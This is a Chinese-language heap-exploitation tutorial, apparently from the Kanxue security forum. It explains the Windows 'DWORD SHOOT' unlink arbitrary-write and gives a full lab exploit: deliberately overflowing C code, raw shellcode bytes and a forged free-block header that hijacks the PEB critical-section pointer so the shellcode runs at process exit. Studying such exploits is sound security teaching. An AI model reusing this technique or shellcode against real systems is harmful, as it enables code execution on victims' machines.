DWORD SHOOT 只是一种叫法，在堆溢出中即为任意内存任意数据读写 下面直接在在调试中进行体会 DWORD SHOOT 。
源码：
#include
main()
{
HLOCAL h1, h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
_asm int 3 //used to break the process
//free the odd blocks to prevent coalesing
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); //now freelist[2] got 3 entries
//will allocate from freelist[2] which means unlink the last entry (h5)
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
直接运行上述程序，来到断点出：如下图所示：
查看 dump 窗口中已经分配好的堆块：
接下来运行程序：
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); //now freelist[2] got 3 entries
连续进行释放 h1 h3 h5 因为 三个堆块size= 16bytes （八字节块首 + 八字节块身） 因此会链接进入空表索引区的 freelist[2]。如下图所示：
堆块区：
根据堆块索引区的前向后向指针，以及h1 h3 h5的指针对的链接关系，可以得到下图所示：
如上两图所示，只需将基地址：0x520000 修改为 0x360000 即可。 接下来继续执行代码：
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
此次申请会从 freelist[2] 中将空表中最后一个节点 h5 卸下。如下图所示：
由以上两图可知，h5 堆块已经被卸下。。
观察最后一次申请内存时h5前后向指针的变化 非常重要
未申请内存之前 h5处的前向指针 0x360188 指向freelistp[2]0x360188 后向指针0x3606a8指向h3 0x3606a8
当h5被卸下后，h3的前后向指针分别是：0x360188 0x360688 （也就是将原来h5的前向指针的值，写入啦 以后向指针为地址的相对应的值中）
当我们在程序中修改上述的 h5的后向指针为一个合法地址的时候，h5的前向指针就会被写入这个合法的地址当中。
一、栈溢出堆溢出利用思路比较
1.栈溢出覆盖面积大，可谓是地毯式覆盖，不精确
2.堆溢出利用比较精确的打击目标（但是部分时候利用的强度小）
二、堆溢出常用的目标
内存变量
代码逻辑
函数返回地址
异常处理机制
函数指针
PEB中线程同步函数的入口地址:每个进程的PEB
中都存放这一对线程同步函数指针，指向RtlEnterCriticalSection()
和RtLeaveCritcalSection(),并且在进程退出的时候会被ExitProcess()调用，如果能够通过DWORD SHOOT
修改这对指针中的任意一个，那么在程序退出的时候ExitProcess()将会被骗去执行我们的shellcode。由于PEB的位置始终不会变化（mov
eax,fs[30]），所以这对指针相对于peb的偏移之中不变，这使得开发通用的exploit成为可能。
本次采用 peb 中线程同步函数的入口地址 即 PEB（进程环境块）
RtlEnterCriticalSection()。ExitProcess() 函数在程序退出的时候会调用临界区函数，但是调用方法独特，是通过线程环境块中偏移
0x20 处存放的函数指针来间接完成的。也就是偏移
0x7ffdf020 处存放的指向 RtlEnterCriticalSection() 的指针。在0x7ffdf024 处存放着 RtlCriticalSection() 的指针。（windows2003 以后改写啦实现方法）。这里我们以地址 0x7ffdf024 处的地址为目标，构造劫持进程植入代码的全套动作：
用于实验的代码：
#include
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90....";
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
h1申请的啦 200字节的空间
memcpy()的复制的数量写错 0x200 = 512 bytes 所以会产生溢出（因为h1申请的是200字节）
h1分配完成后后面紧跟着的是一个大尾块
超过200字节的部分将会覆盖尾块的块首以及部分块身
利用伪造的指针覆盖尾块块首的空表指针，当h2分配时候，将会导致DWORD SHOOT
DWORD SHOOT 目标是 0x7ffdf020处的指针，将其修改为shellcode的位置
DWORD SHOOT完毕后将会导致异常，程序退出，调用 ExitProcess()
ExitProcess()函数退出的时候会调用同步函数，但是确实从 peb中拿走啦 shellcode的地址，因此shellcode被执行 直接运行程序玩 mencopy（）函数 dump窗口如下图：
利用前面栈溢出的 shellcode （168 bytes）通过添加 0x90 增加到 200 字节
紧随其后的就是 尾块块首 上图中已经标注出来
前向指针是 Dword SHOOT 是 shellcode 的地址 ，这里直接是 0x360688 后向指针是 shellcode 要写入的目标地址，这里写入的是 peb 中的函数指针地址 0x7ffdf020
整个缓冲区布置完以后是：
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"//尾块的块首
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";//
当运行此缓冲区的时候，会发现期待 MessageBox() 函数不会被调用。
此 shellcode 不会溢出成功的原因在于程序中不仅仅 ExitPcoess（）函数会调用临界区，shellcode中的函数也会进行调用，一样会被骗。
直接一开始就修复 dword shoot 的指针重新布置 shellcode：
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77" //MOV EBX,77f82060 the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
"\xBB\x60\x20\xF8\x77"
//MOV EBX,77f82060 the address here may releated to your OS
此0x77f82060 的值需要自行调试得出 调试方法 直接 汇编 mov eax,fs[30]运行到此处，根据peb的结构
，在偏移 0x20 处的值 。
最终执行效果如图所示：
注意事项
1. 利用不成功的同学可能是为根据自己的系统确认 peb 0x20偏移处的值
2.编译选项的原因
3.系统环境的原因等等。。。
拓展
本文只是简单利用PEB中的函数指针还有更多的目标可以用异常处理机制等都可以作为利用的对象，请在下面多进行尝试。
本文参考自《0day安全技术漏洞分析技术》 2017/5/15 11:12:57
你可能对以下内容感兴趣：
更多优秀文章，长按下方二维码，“关注看雪学院公众号”查看！
看雪论坛：http://bbs.pediy.com/
微信公众号 ID：ikanxue
微博：看雪安全
投稿、合作：www.kanxue.com
